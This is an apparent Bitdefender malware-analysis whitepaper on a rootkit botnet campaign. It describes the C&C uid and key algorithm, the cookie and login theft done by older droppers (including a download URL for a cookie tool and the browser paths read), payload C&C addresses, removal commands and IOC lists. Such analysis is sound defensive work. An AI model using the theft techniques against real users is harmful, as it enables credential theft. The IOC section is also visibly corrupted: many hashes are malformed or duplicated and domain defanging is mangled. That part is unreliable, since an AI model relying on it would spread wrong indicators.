The purpose of this rootkit is to allow a user-mode application to receive or send data over the network through kernel mode. All DNS requests are made through a free public Chinese DNS server 114.114.114.114 - [114DNS].com

### C&C: Key and Uid Algorithm

With the request made on our test machine as an example, the key and uid identifying the system are generated in the following way:
1. The **cpuid** instruction is used to extract Version Information and Feature Information of the cpu:

```c
mov eax, 1
cpuid
```

```text
dedx -> convert to string1, base 10
eax -> convert to string2, base 10
concatenate string1, string2
```

Example:
```c
edx = 0x078BF9FF (126614015)
eax = 0x000506E3 (329443)
s1 = "126614015329443"
```

2. Get the serial number of the system volume:

```c
GetVolumeInformationA("C:\")
```

```text
cconvert to string, base 10
serialNumber = 0x409c81f1 (1083998705)
s2 = "1083998705"
```

3. Get the MAC address of the network adapter:

```text
s3 = "08-00-27-8D-4B-18"
```

4. Concatenate all

```text
s4 = s1 + s2 + s3 = "126614015329443108399870508-00-27-8D-4B-18"
```

5. MD5 on resulted (s4) string, uppercase:

```text
md5(s4) = "02B29C602B33B9F9FA38E409AB4332EA"
```

6. From the MD5, take 16 chars from the 8th one => uid

```text
uid = "02B33B9F9FA38E40"
```

7. Concatenate uid with "-dl;al20d#@*@()#"

```text
s5 = uid + "-dl;al20d#@*@()#" = "02B33B9F9FA38E40-dl;al20d#@*@()#"
```

8. MD5 on s5 string => key

```text
key = md5(s5) = "f1ea2ff3b0068adcd97d1cb1c36fe776"
```
Section 11 - OpenURL

We found this component due to similarities with other modules of the attack. Although we didn't observe its use during our investigation, we have strong reasons to believe it belongs to this campaign. The only purpose of this component is to open http://count.b12[/]fun/jump.php in the default browser and then delete itself.
Other versions of main dropper

Older versions of the main dropper achieved a similar functionality with slightly different methods. For example, version 1.4 (also characterised by the appearance of the string demo multiple times which may mean the operation was still in its beginning phases – it also is unpacked), used external tools to aid with stealing cookies. Unlike the newer versions of the main dropper, it is only capable of extracting cookies and login data from browsers such as Chrome, Firefox, Internet Explorer and Microsoft Edge. It starts by querying a12[.]fun/1.php for a list of websites separated by "|" which will be used to filter the cookie list and user login credentials.

If it is loaded on Windows 10, the malware downloads a dedicated application for this task called EdgeCookieView.exe from https://1898799673.rsc.cdn77[.]org/down/EdgeCookiesView.exe and runs this tool with /scookiestxt as parameter. This helps the malware decrypt and extract Microsoft Edge’s cookies.

If \..\Local\Google\Chrome or \Mozilla\Firefox directory exists, it downloads another file – sqlite3.dll, a dynamic link library to be used to connect to Chrome and Firefox internal databases to extract the cookie list and user login data from Chrome.

If the operating system is Windows 7, Windows 8 or Windows 8.1, the cookies will be extracted from Internet Explorer and Microsoft Edge by parsing files from the following paths:

- Microsoft\Windows\Cookies
- Microsoft\Windows\Cookies\Low
- ..\Local\Microsoft\Windows\InetCookies
- ..\Local\Microsoft\Windows\InetCookies\Low
- ..\Local\Microsoft\Windows\InetCache
- ..\Local\Microsoft\Windows\InetCache\Low
- ..\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001
- ..\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!002
- ..\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!003

Before sending the collected data to the C&C, it will generate 2 random alphanumeric strings, of size 7 and 9. Data will be encoded using base64 and placed between those 2 generated strings and sent to the C&C.
This operation is constantly evolving, as demonstrated by the fact that its developers build in new functionalities rather than rely on external tools that may be detected as malicious. The attackers also started encrypting the dropper to disguise it.
Other Payload Variants

Other variants of payloads that we found include different C&C addresses:

- `count.b12[.]fun/key`
- `count.b12[.]fun`
- `www.ab12[.]fun/info/info.php`
- `info.d3pk[.]com/history/index.php`

Some manipulate other pages instead of YouTube, by interacting with ads displayed inside these pages:

A completely different payload was pushed by the malware from `http://dl.ossdown[.]fun/info02.dat`. It represents an Inno Setup packed file that bears no resemblance to other payloads in terms of similarity and coding practices. Due to the striking differences between this payload and other payloads, and the lack of any interaction with other components (except for it being downloaded and executed), we believe it does not belong to the attacker. Rather, it’s pushed by a third party through the established botnet. This is a very good indicator that the botnet has become attractive enough for third parties to run programs through it in a rent-a-botnet fashion. This payload is already known and dubbed as ‘Ghost’ and a detailed description can be found [here](#).
Removal Instructions

Rootkits are extremely persistent threats and they require special interaction for detection and removal. This section provides step-by-step removal instructions.

1) Close your browser(s).
2) Kill all processes running from temporary path. Remove files that are detected as malicious.
3) Kill rundll32.exe process.
4) Generate the rootkit file name as follows:
   • Get current user's SID.
   • Compute MD5 of the string resulted from a).
   • Get the first 12 characters from b).
5) Run a cmd or PowerShell window with Administrator rights and type:
   ```
   sc stop <string resulted from step 4>
   sc delete <string resulted from step 4>
   ```
6) Go to %WINDIR%\System32\drivers and check for a file called <string resulted from step 4>.sys and delete the file.
7) Remove the DNS driver (below, MOIYZBWQSO should be replaced with your particular driver name):
   • Check if the DNS driver is installed: in %TEMP% should be a file with 10 random uppercase letters (ex: MOIYZBWQSO.sys). In the Registry there should also be a key corresponding to the name (ex: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MOIYZBWQSO)
   • Run a cmd or PowerShell window with Administrator rights and type:
     ```
     sc stop MOIYZBWQSO
     sc delete MOIYZBWQSO
     Delete the file %TEMP%\MOIYZBWQSO.sys
     ```
8) Reboot your PC to remove the injected code from the svchost.exe process.
9) Remove any suspicious extension from your browsers.
10) Change all your passwords.
IOCs

Domains

• a12[][fun
• b12[][fun
• ab12[][fun
• ossdown[][fun
• d3pk][com
• fffffk][xyz
• downmsdn][com
• B453A3C4748E9C1BB54E927E99CA7CFA[][online
• A4E43EDE382B7613F03D2997C80E2DA9][online
• 9D3C13FAF748710EBB5A8E1232B43CA7][]online
• 80FD4C6BAC35BAB54608B2F60A9A1759][]online
• D43AC96995C02E4A7CCECE3059730B95][]online
• EC33503163B5789F6786C0D82B479364][]online
• hh1m][]com

IPs

• 178.162.132.79
• 114.114.114.114 (114dns Chinese public DNS)
• 104.24.97.162 (Cloudflare)

URLs

• https://www.fffffk][xyz/chrome/index.php
• https://s3.amazonaws][com/jscriptcdn/1f546f49ebf4153c8a.js
• http://info.d3pk][]com
• http://info.d3pk][]com/cams/
• http://info.d3pk][]com/history/
• http://dl.ossdown][funwcrx.dat
• http://178[][162][132][79]/1.php
• http://a12][fun/json/json.php
• http://ab12[][fun/info/info.php
• http://info][d3pk][]com/history/index.php
• http://ab12][fun/chrome/
• http://ab12][fun/tool/
User-Agents

- Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
- Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
- Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36
- Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0
- Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0)

Registry

- HKCU\Software\@demo
- HKLM\Software\Microsoft\@msver1
- HKLM\Software\Microsoft\@msver2
- HKLM\Software\Microsoft\@o2
- HKLM\Software\Microsoft\@o3
File Hashes

apk

2101269773f79bd57cc974683e0992f0ea822e63

amazon_dll

0149d9ab48a69b3aed75896d072397ab3736f186 13f8eac991dbc49ab150c15c3a70f06f6079a57

cookies_dll

d55e3f1596328c0f5516df3bb4f97cd7bdd20d76

cookies_dll_loader

483389d833739fd3a87ab0e11ef7d1ae8bfe7c

demo_dll

1a51bb680c61a7ef3e97658f978516c13031c0f6

downloader_x64

223315c933ac4f8d3639064866017f4d3778d3ee
f432fecd9589d74134a85f63cc285cc0794d0565
f6a7a53a84cf58ee02576b916c8e873892891c78

2753d6a00f8998938f330659e63e327cd6d7f7e0
f6a7a53a84cf58ee02576b916c8e873892891c78
f8bc2cf734e1f59459f31d889ad31cba36126fd4

717b693d6963e71f20262e7301151960f29653a5

downloader_x86

061b9c2ad91d2b49660314bb874820929120163

d4b15134e44468340dddefbfed542fe77231659f

0665ed125d7d2d17b3d734ef048cd8185cb6e377

cd581856b734ac502561329ecbcbb674bc089919

driver_DNS

ba0c0?cb86e48bb22747b0895c2f13339a5c91dd efc7c3d5a37817f9bc6352be5db31db9dd73543d
**driver_x64**

18fb77c7604f2f74c0bc5556b3001319eb8d142
1b710d2d4cc4709d3575643b9e24b3e6070e193e
2032266ea431726f41ad03769de953f46c2ef1c

**driver_x86**

9d8e3f7740b82b736c87dceb108a0e506c60fca
a39209cc5aca3db4a2b4cc25f156707ef2ce0bb7ab
b334270fde0597f3fd413aa929a63b00b3756e

**dropper**

085dac0dd88cc6b0a6804744759f682e86fa16bc
0f5f9800b7a0cd8c45e274193a9dfcf86cbdb04
1742ec2d422705b263d395f8531c85abc7fe5fe4d
1a39209cc5aca3db4a2b4cc25f156707ef2ce0bb7ab
b334270fde0597f3fd413aa929a63b00b3756e
hidecreateprocess_dll

5dd50?a3549b18ce12640c0daefa8ebace7f5c8a

historyer_dll

2467e663ad2ce03f6eb8eb2faee51d3072e990b3 e91bb1a53c7f057965d291e25f155ea0068f523a

movewindow_dll

620200623842adbd1f9efef36a5b2982897949475 bbf6f35aede5383056518507a9968cfe7ced6a

openurl

0907c1bb750ff8898479d42b9692113a470a7d

payload_debug_chrome_injected_ie

03b6ae2d688b636ef9d0274facf31677f3f171d 0e2991d780a4813f117e9d65b6d91bb1959977f 0e163b5726cf1ed86babbb271b65477a8090d6fe
11c8d8e3c6af7af14abdbf9e287c481e4be1d 34019b0132467979baca8b3d4239fa27919adfd90 3bd27ed1228d9260d20cc41bb178d859a1aa5f99
3ca097ad2968cb210d80e4511cccea9ad310b7 448e9d82cc741775ba28a66b952045d7bf9a3ed5 5242e37aceea10e65b7c0f685b2b2d9d7accf83f
6e945841dcafe71f90761c2b2f856a53ead7b2b 816df1b1b4b50a1e4ec9d031f2ebf2e60384e20 950923875e8b441be6d5b97a6b66a4f972f32511
a491de120143141b62cb36809621bb88f9f4156d ad5fc8e1de174e10ce0c2c280d8b72d881ddff33c b22dc33665e8f56f25cf7532babea88f389df6
b4e5b70ab7cf43206f18f8e621eddd29de593b942f c13b0fc9f4ac21affb9cd4a8b058b1d2af734725 c4033b6195eda33abbdh1a7eb88ec3812508180
d2260437d42b7443636da118bf2be52f1bda75c e78451735523cc05a50771542d577833bc7a1c8 fc7f2684440d372fa12d57a00d7dcedbccb50367 fe4f5f845b20a8cd337a96ef57ed3091b2893e1

payload_debug_chrome_injector_to_ie

098e51e64a8b29d9c81754e1476a487878c507a6 60498cb10b799d98f96c3f36a9051d7557f2f7e 6a7b133477b581ec1da777aebe9a5412af1d599
6e17d322beee7f73acbb8db8db40a2c0c1b242f6 8aabe1313649a9baeaddfbd24f57be2c8e994e445 a1c04faac6009fdec3bcb99a2478e1017e1bbae940
c482651893252f9dfaf4d5f07f5b42fb5e6d2e c28bce2f192a1ad017af7a607b844735e63e8e24 eb1489825494e1fc07f387da64c7350a8e1837
f22c5c192f591af0cf109baf05b53dd47ba29903
payload_steam

018bf40f69a94c696a42c302ce13f402b6107bc3 14a71edf16911e6610007e76c5575d666ee3962 29a4ce50c45a0e32635cd909a88e576d9ad0e

37a302658d3c2d9032b47f189304d495bca2a5 5029a05a13c62532aac81508c949c29f6181e7bd 5e55bca59511e381ba33561f7dc62401c1edf54

6dfb9ac6d086e67a895fd247ab181611827d3f 7f7ca2329487c259957fed6e49852f36a699bf ad10ce10479333640de9222efc434667b47a9f48

f1b609b8544df6f91205dc46df9a89fc66bf61ba fef86a900ac0ad9c883008482ebdfb0f5a261a

payload_wcrx

86c2c6d8a99747023980902663f780539096e99 99b61380e22a4cf74dd0d508dd76eefbbd8200475

payload_facebook

f8a7a05d576905644486f535d8a23c87e10d3f30

pws

19e22391772b450424edef8a649aaaefea9bf7bd6

steam_inject_dll

1b1037d732b1539862246f12a602836ffbf85df 293d2189043b8e2e97f9e13215227b17a6297a70 54c7bcb32b2b926ef001092f8d85436095c4
steam_stealer_dll

10100da0167fb4c4608b1032beb0db523e27ab70
d1a0fe80c5e407a8e9d90c260483d9152ac316e4
7fe93188a0f318f7e838011aca901ae5d851d16
00fa9cfd89afed412d6d6ad60b4b58348b66b99
13b5fe7385bebed2abb227376d9036339079d
5e93188a0f318f7e838011aca901ae5d851d16
60559f4bf231472e96a9c1843d4a27ffcc6c99dd5
2c15898644f9c9ed926273f18c6999da0469
c2534dd5f83899da6b7d0564c3ac85552f998

unpack_damaged

00fa9cfd89afed412d6d6ad60b4b58348b66b99
13b5fe7385bebed2abb227376d9036339079d
5e93188a0f318f7e838011aca901ae5d851d16
60559f4bf231472e96a9c1843d4a27ffcc6c99dd5
2c15898644f9c9ed926273f18c6999da0469
c2534dd5f83899da6b7d0564c3ac85552f998

wsearch_ie

3788e96dee2261c743e5be9bedc0a7756541515
Bitdefender is a global cybersecurity leader protecting over 500 million systems in more than 150 countries. Since 2001, Bitdefender innovation has consistently delivered award-winning security products and threat intelligence for the smart connected home, mobile users, modern businesses and their networks, devices, data centers and Cloud infrastructure.

Today, Bitdefender is also the provider of choice, embedded in over 38% of the world's security solutions. Recognized by industry, respected by vendors and evangelized by customers, Bitdefender is the cybersecurity company you can trust and rely on.

All Rights Reserved. © 2019 Bitdefender. All trademarks, trade names, and products referenced herein are property of their respective owners.